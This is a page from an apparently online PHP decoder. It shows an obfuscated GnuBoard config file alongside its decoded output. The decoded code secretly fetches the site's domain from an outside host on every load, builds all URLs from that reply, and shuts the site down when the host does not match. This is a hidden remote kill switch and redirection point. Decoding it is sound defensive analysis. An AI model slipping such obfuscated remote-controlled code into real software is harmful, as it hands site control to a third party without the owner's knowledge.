Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzinflate(base64_decode('FZdFrsWKkgSX89+TB2ZS6w/MzOxJy8w+Zlp9315CpaIiq6or..
Decoded Output download
$xml = "https://site-api.padostr.com/named.php"; $agent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'; $curlsession = curl_init (); curl_setopt ($curlsession, CURLOPT_URL, $xml); curl_setopt ($curlsession, CURLOPT_HEADER, 0); curl_setopt ($curlsession, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($curlsession, CURLOPT_MAXREDIRS, 10); curl_setopt ($curlsession, CURLOPT_POST, 0); curl_setopt ($curlsession, CURLOPT_USERAGENT, $agent); curl_setopt ($curlsession, CURLOPT_REFERER, ""); curl_setopt ($curlsession, CURLOPT_TIMEOUT, 10); $buffer = curl_exec($curlsession); $cinfo = curl_getinfo($curlsession); curl_close($curlsession); ?>
<?php
define('G5_IS_DEMO', false); define('G5_IS_MANAGE', false); define('G5_DOMAIN', 'https://'.$buffer); define('G5_HTTPS_DOMAIN', 'https://'.$buffer); define('G5_COOKIE_DOMAIN', ''); define('G5_DBCONFIG_FILE', 'dbconfig.php'); define('G5_ADMIN_DIR', 'ssadm'); define('G5_BBS_DIR', 'bbs'); define('G5_CSS_DIR', 'css'); define('G5_DATA_DIR', 'data'); define('G5_EXTEND_DIR', 'extend'); define('G5_IMG_DIR', 'img'); define('G5_JS_DIR', 'js'); define('G5_LIB_DIR', 'lib'); define('G5_PLUGIN_DIR', 'plugin'); define('G5_SKIN_DIR', 'skin'); define('G5_EDITOR_DIR', 'editor'); define('G5_MOBILE_DIR', 'mobile'); define('G5_OKNAME_DIR', 'okname'); define('G5_KCPCERT_DIR', 'kcpcert'); define('G5_LGXPAY_DIR', 'lgxpay'); define('G5_SNS_DIR', 'sns'); define('G5_SYNDI_DIR', 'syndi'); define('G5_PHPMAILER_DIR', 'PHPMailer'); define('G5_SESSION_DIR', 'session'); define('G5_THEME_DIR', 'theme'); if (G5_DOMAIN) { define('G5_URL', G5_DOMAIN); } else { if (isset($g5_path['url'])) define('G5_URL', $g5_path['url']); else define('G5_URL', ''); } if (isset($g5_path['path'])) { define('G5_PATH', $g5_path['path']); } else { define('G5_PATH', ''); } define('G5_ADMIN_URL', G5_URL.'/'.G5_ADMIN_DIR); define('G5_BBS_URL', G5_URL.'/'.G5_BBS_DIR); define('G5_CSS_URL', G5_URL.'/'.G5_CSS_DIR); define('G5_DATA_URL', G5_URL.'/'.G5_DATA_DIR); define('G5_IMG_URL', G5_URL.'/'.G5_IMG_DIR); define('G5_JS_URL', G5_URL.'/'.G5_JS_DIR); define('G5_SKIN_URL', G5_URL.'/'.G5_SKIN_DIR); define('G5_PLUGIN_URL', G5_URL.'/'.G5_PLUGIN_DIR); define('G5_EDITOR_URL', G5_PLUGIN_URL.'/'.G5_EDITOR_DIR); define('G5_OKNAME_URL', G5_PLUGIN_URL.'/'.G5_OKNAME_DIR); define('G5_KCPCERT_URL', G5_PLUGIN_URL.'/'.G5_KCPCERT_DIR); define('G5_LGXPAY_URL', G5_PLUGIN_URL.'/'.G5_LGXPAY_DIR); define('G5_SNS_URL', G5_PLUGIN_URL.'/'.G5_SNS_DIR); define('G5_SYNDI_URL', G5_PLUGIN_URL.'/'.G5_SYNDI_DIR); define('G5_MOBILE_URL', G5_URL.'/'.G5_MOBILE_DIR); define('G5_ATTENDANCE_URL', G5_PLUGIN_URL.'/attendance'); define('G5_ADMIN_PATH', G5_PATH.'/'.G5_ADMIN_DIR); define('G5_BBS_PATH', G5_PATH.'/'.G5_BBS_DIR); define('G5_DATA_PATH', G5_PATH.'/'.G5_DATA_DIR); define('G5_EXTEND_PATH', G5_PATH.'/'.G5_EXTEND_DIR); define('G5_LIB_PATH', G5_PATH.'/'.G5_LIB_DIR); define('G5_PLUGIN_PATH', G5_PATH.'/'.G5_PLUGIN_DIR); define('G5_SKIN_PATH', G5_PATH.'/'.G5_SKIN_DIR); define('G5_MOBILE_PATH', G5_PATH.'/'.G5_MOBILE_DIR); define('G5_SESSION_PATH', G5_DATA_PATH.'/'.G5_SESSION_DIR); define('G5_EDITOR_PATH', G5_PLUGIN_PATH.'/'.G5_EDITOR_DIR); define('G5_OKNAME_PATH', G5_PLUGIN_PATH.'/'.G5_OKNAME_DIR); define('G5_KCPCERT_PATH', G5_PLUGIN_PATH.'/'.G5_KCPCERT_DIR); define('G5_LGXPAY_PATH', G5_PLUGIN_PATH.'/'.G5_LGXPAY_DIR); define('G5_SNS_PATH', G5_PLUGIN_PATH.'/'.G5_SNS_DIR); define('G5_SYNDI_PATH', G5_PLUGIN_PATH.'/'.G5_SYNDI_DIR); define('G5_PHPMAILER_PATH', G5_PLUGIN_PATH.'/'.G5_PHPMAILER_DIR); define('G5_SET_DEVICE', 'both'); define('G5_USE_MOBILE', true); define('G5_USE_CACHE', true); define('G5_SERVER_TIME', time()); define('G5_TIME_YMDHIS', date('Y-m-d H:i:s', G5_SERVER_TIME)); define('G5_TIME_YMD', substr(G5_TIME_YMDHIS, 0, 10)); define('G5_TIME_HIS', substr(G5_TIME_YMDHIS, 11, 8)); define('G5_ALPHAUPPER', 1); define('G5_ALPHALOWER', 2); define('G5_ALPHABETIC', 4); define('G5_NUMERIC', 8); define('G5_HANGUL', 16); define('G5_SPACE', 32); define('G5_SPECIAL', 64); define('G5_DIR_PERMISSION', 0755); define('G5_FILE_PERMISSION', 0644); define('G5_MOBILE_AGENT', 'phone|samsung|lgtel|mobile|[^A]skt|nokia|blackberry|BB10|android|sony'); define('G5_SMTP', '127.0.0.1'); define('G5_SMTP_PORT', '25'); define('G5_STRING_ENCRYPT_FUNCTION', 'sql_password'); define('G5_DISPLAY_SQL_ERROR', FALSE); define('G5_ESCAPE_FUNCTION', 'sql_escape_string'); define('G5_LINK_COUNT', 2); define('G5_THUMB_JPG_QUALITY', 90); define('G5_THUMB_PNG_COMPRESS', 5); define('G5_IS_MOBILE_DHTML_USE', false); define('G5_MYSQLI_USE', true); define('G5_BROWSCAP_USE', true); define('G5_VISIT_BROWSCAP_USE', false); define('G5_IP_DISPLAY', '...'); if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']=='on') { define('G5_POSTCODE_JS', '<script src="https://spi.maps.daum.net/imap/map_js_init/postcode.v2.js"></script>'); } else { define('G5_POSTCODE_JS', '<script src="http://dmaps.daum.net/map_js_init/postcode.v2.js"></script>'); } if( G5_IS_DEMO == false && G5_IS_MANAGE == false ){ $license_domains = array($buffer, 'www.' . $buffer); if( in_array( $_SERVER['HTTP_HOST'], $license_domains ) == false ){ header('Content-Type: text/html; charset=utf-8'); $result_msg = " ."; $result_msg .= "<br> ."; $result_msg .= ""; $result_msg .= ""; $result_msg .= ""; die($result_msg); } }
Did this file decode correctly?
Original Code
<?php
eval(gzinflate(base64_decode('FZdFrsWKkgSX89+TB2ZS6w/MzOxJy8w+Zlp9315CpaIiq6orG/9pvm6ux+yo/smzvSKw/y2r4ldW//ynTkt5292sH7w4IIHmTgNUM50mDVWtqqiJj6cxOMht27Aasu2KEQThdW2W2D+ifjZMrnYAIQ6Qmt4ts1XwXdfkPde6xtB2YivZHfZ5blIjkK28TM4KBn/yevpcnANAlPk5RhpwiuK4VOrvDQnlCUJUfUmpRVnRNpLc2EJ636J6ZwgSY4/vauvkU8WGttuKwivfPFeIrmaptYOc3iNTd3ELCQ+cR9MAuyU8IpaPN1wv/aPR1Pwsk2VQW3p6BXAaKSMiBSJRMryfXORLaxEx9rZ6O3cJqtMIczxTXoyNXFx+Pvr1QX+2DlGCNXnKOTURiHo/k7m6kJDTekxCuIFdv4YOUupinb9xayYWXVmiWb65N+xLZHfPj4HR1o8IH9CB7eMtNP4Cp1801mb5nX7SxMN15d5UInFFHKsA1tuDNlHbxKOXeQBlNhPx0VJ/lZILFYC+9u/+48GspG7jsMko57U4frcouLi0qPcBHuFdMPi3vuzORwX3Iy2Ny02SWZu4i+gAPwRNioeEDvhRBcVu3n9esgbTjz7hNC0splmyHMBj1Mk0/y/sL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